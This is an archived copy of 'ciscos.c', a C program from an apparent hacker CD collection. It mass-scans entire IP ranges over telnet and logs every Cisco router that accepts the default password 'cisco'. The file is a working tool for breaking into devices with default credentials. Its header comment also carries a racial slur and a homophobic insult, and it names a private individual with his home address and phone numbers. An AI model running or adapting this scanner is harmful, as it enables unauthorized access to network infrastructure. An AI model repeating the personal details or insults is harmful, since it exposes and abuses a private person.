home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / cisco / ciscos.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-10-22  |  5.9 KB  |  216 lines

  1. /* Cisco Scanner v1.3 - semi-final
  2. Cisco Scanner will scan a class A, B or C range of
  3. IP addresses for Cisco routers that haven't changed
  4. their default password from "cisco" and store them in
  5. cisco.txt.
  6.  
  7. Usage:
  8.        Class A = ./ciscos 127 1
  9.        Class B = ./ciscos 127.0 2
  10.        Class C = ./ciscos 127.0.0 3
  11.  
  12. Optional:
  13.           -t = timeout in seconds (3-5 seconds)
  14.           -C = threads (300 or below is recommended)
  15.  
  16.  
  17.                                           :: by 0kiwan ::  
  18.                      www.techfreakz.com
  19.                                          smolten@ureach.com 
  20.  
  21. Also:
  22. Comdak you stupid porch monkey don't wipe out my name and 
  23. recompile my code and pass it around as your own.
  24.  
  25. comdak == Randy Caldwell 1494 Rose Crt Hanmer, ON P3P 1A8
  26.           ph: 705-969-5472 or 7059697332 or 7055216293            
  27.  
  28. aka homosexual leader or #kernelpanic on dalnet
  29.  
  30.  
  31.  
  32. Soon: pure enable scanner plus more efficient threading
  33.  
  34. */
  35.  
  36. #include <sys/types.h>
  37. #include <sys/socket.h>
  38. #include <sys/uio.h>
  39. #include <netinet/in.h>
  40. #include <arpa/inet.h>
  41. #include <sys/wait.h>
  42. #include <unistd.h>
  43. #include <signal.h>
  44. #include <stdlib.h>
  45. #include <stdio.h>
  46. #include <netdb.h>
  47. #include <errno.h> 
  48.  
  49. #define SA struct sockaddr
  50. #define SIN_LEN sizeof(struct sockaddr_in)
  51. #define IPV4_ADDRLEN 16
  52.  
  53. void ShowHelp(char *, char *);
  54. void ShowVer()
  55. {
  56.    printf("Cisco Scanner v1.3\n");
  57. }
  58. int ConnectCheck(struct sockaddr_in, int);
  59.  
  60. const char *ipv4_ntop(int, const void *, char *, size_t);
  61. FILE *stream;
  62.  
  63. int main(int argc, char *argv[]) {
  64.    int i=0,j=0,k=0,status,Children=105,Timeout=7,class=0;
  65.    char DestIP[15],*NetworkID,c,*num3;
  66.    struct sockaddr_in DestAddress;
  67.    if(argc < 3) ShowHelp(argv[0], "");
  68.    NetworkID = argv[1];
  69.    num3=argv[2];
  70.    class=atoi(num3);
  71.    opterr = 0;
  72.    while((c = getopt(argc, argv, "C:t:")) != -1) {
  73.       switch(c) {
  74.          case 'C': Children = atoi(optarg); break;
  75.          case 't': Timeout = atoi(optarg); break;
  76.          case '?': ShowHelp(argv[0], "ERROR: unrecognized option"); break;
  77.       }
  78.    }
  79.    if(Children < 1) ShowHelp(argv[0], "ERROR: invalid number of children");
  80.    if(Timeout < 1) ShowHelp(argv[0], "ERROR: invalid timeout");
  81.    ShowVer();
  82.  
  83. /*Class A*/
  84.    if (class==1)
  85.    fprintf(stderr,  
  86.      "Scanning: %s.*.*.*\n output:cisco.txt\n threads:%i\n timeout:%i\n\n",
  87.       NetworkID,Children,Timeout);
  88.  
  89. /*Class B*/
  90.    if (class==2)
  91.    fprintf(stderr,
  92.      "Scanning: %s.*.*\n output:cisco.txt\n threads:%i\n timeout:%i\n\n",
  93.       NetworkID,Children,Timeout);
  94.  
  95. /*Class C*/
  96.    if (class==3)
  97.    fprintf(stderr,
  98.      "Scanning: %s.*\n output:cisco.txt\n threads:%i\n timeout:%i\n\n",
  99.       NetworkID,Children,Timeout);   
  100.  
  101.    DestAddress.sin_family = AF_INET;
  102.    DestAddress.sin_port = htons(23);
  103.  
  104. /*Class A*/
  105.   if (class==1){
  106. for(k = 0; k < 256; k++) {  
  107.  for(j = 0; j < 256; j++) {
  108.    for(i = 0; i < 256; i++) {
  109.       if (i > Children || j > 0 || k > 0 ){
  110.         wait(&status);
  111.                        }
  112.       sprintf(DestIP, "%s.%d.%d.%d", NetworkID,k,j,i);
  113.       inet_aton(DestIP, &DestAddress.sin_addr);   
  114.       if(!fork()) ConnectCheck(DestAddress, Timeout);
  115.    }
  116.   } 
  117.  }  
  118. }
  119.  
  120. /*Class B*/
  121.    if (class==2){
  122.    for(j = 0; j < 256; j++) {
  123.    for(i = 0; i < 256; i++) {
  124.       if (i > Children || j > 0){
  125.         wait(&status);  
  126.                        }
  127.       sprintf(DestIP, "%s.%d.%d", NetworkID,j,i);
  128.       inet_aton(DestIP, &DestAddress.sin_addr);
  129.       if(!fork()) ConnectCheck(DestAddress, Timeout);
  130.    }
  131.   }
  132.  }
  133.  
  134. /*Class C*/
  135.  if (class==3){
  136.    for(i = 0; i < 256; i++) {
  137.       if (i > Children){
  138.         wait(&status);
  139.                        }
  140.       sprintf(DestIP, "%s.%d", NetworkID, i);  
  141.       inet_aton(DestIP, &DestAddress.sin_addr);
  142.       if(!fork()) ConnectCheck(DestAddress, Timeout);
  143.    }   
  144. }
  145.  
  146.    for(;;) {
  147.       if((waitpid(-1, &status, WNOHANG) == -1) && (errno == ECHILD))
  148.             exit(EXIT_SUCCESS);   
  149.   }   
  150.  
  151. }
  152.  
  153. int ConnectCheck(struct sockaddr_in DestAddr, int Timeout)
  154.  {
  155.    int result,ret,SocketFD;
  156.    char Hostname[60],buffer1[64],buffer2[64];
  157.    if((SocketFD = socket(AF_INET, SOCK_STREAM, 0)) < 0) exit (EXIT_FAILURE);
  158.    alarm(Timeout);
  159.    result = connect(SocketFD, (SA *)&DestAddr, SIN_LEN);
  160.    if (!result) {
  161.       alarm(Timeout);
  162.          memset(buffer1, '\0', 64);
  163.          memset(buffer2, '\0', 64);
  164.         if ((ret = read(SocketFD, buffer1, 64))  > 0)
  165.          {  
  166.             ret = read(SocketFD, buffer1, 64);
  167.             send(SocketFD,"cisco\r",6,0);
  168.             ret = read(SocketFD, buffer2, 64);
  169.  
  170.         if( (memcmp(buffer2,"\r\nPass",6)) &&
  171.          !(memcmp(buffer1,
  172.             "\r\n\r\nUser Access Verification\r\n\r\nPassword",40)))
  173.   {
  174.        stream = fopen("cisco.txt","a");
  175.       printf("Cisco found: %s\n\a",
  176.         ipv4_ntop(AF_INET,&DestAddr.sin_addr.s_addr,Hostname,59));
  177.       fprintf(stream,"%s\n",
  178.         ipv4_ntop(AF_INET,&DestAddr.sin_addr.s_addr,Hostname,59));
  179.       fclose(stream);
  180.         }}
  181.       close(SocketFD);
  182.   }
  183.  
  184.    exit(EXIT_SUCCESS);
  185. }
  186.  
  187. const char *
  188. ipv4_ntop(int family, const void *addrptr, char *strptr, size_t len) {
  189.    const u_char *p = (const u_char *)addrptr;
  190.    if(family == AF_INET) {
  191.       char temp[IPV4_ADDRLEN];
  192.       snprintf(temp, sizeof(temp), "%d.%d.%d.%d", p[0], p[1], p[2], p[3]);
  193.       if(strlen(temp) >= len) {
  194.          errno = ENOSPC;
  195.          return(NULL);
  196.       }
  197.       strcpy(strptr, temp);
  198.       return(strptr);
  199.    }
  200.    errno = EAFNOSUPPORT;
  201.    return(NULL);
  202. }
  203.  
  204.  
  205. void ShowHelp(char *argv0, char *ErrMsg) {
  206.    ShowVer();
  207.    printf("  Output stored in cisco.txt\n");
  208.    printf("  Usage: %s <IP> <class> [option]\n",argv0);
  209.    printf("    Class A scan: ciscos 127 1 \n");
  210.    printf("    Class B scan: ciscos 127.0 2 \n");
  211.    printf("    Class C scan: ciscos 127.0.0 3\n");
  212.    printf("    [-C <threads>] maximum threads\n");
  213.    printf("    [-t <timeout>] seconds before connection timeout\n\n");
  214. exit (EXIT_FAILURE);
  215. }
  216.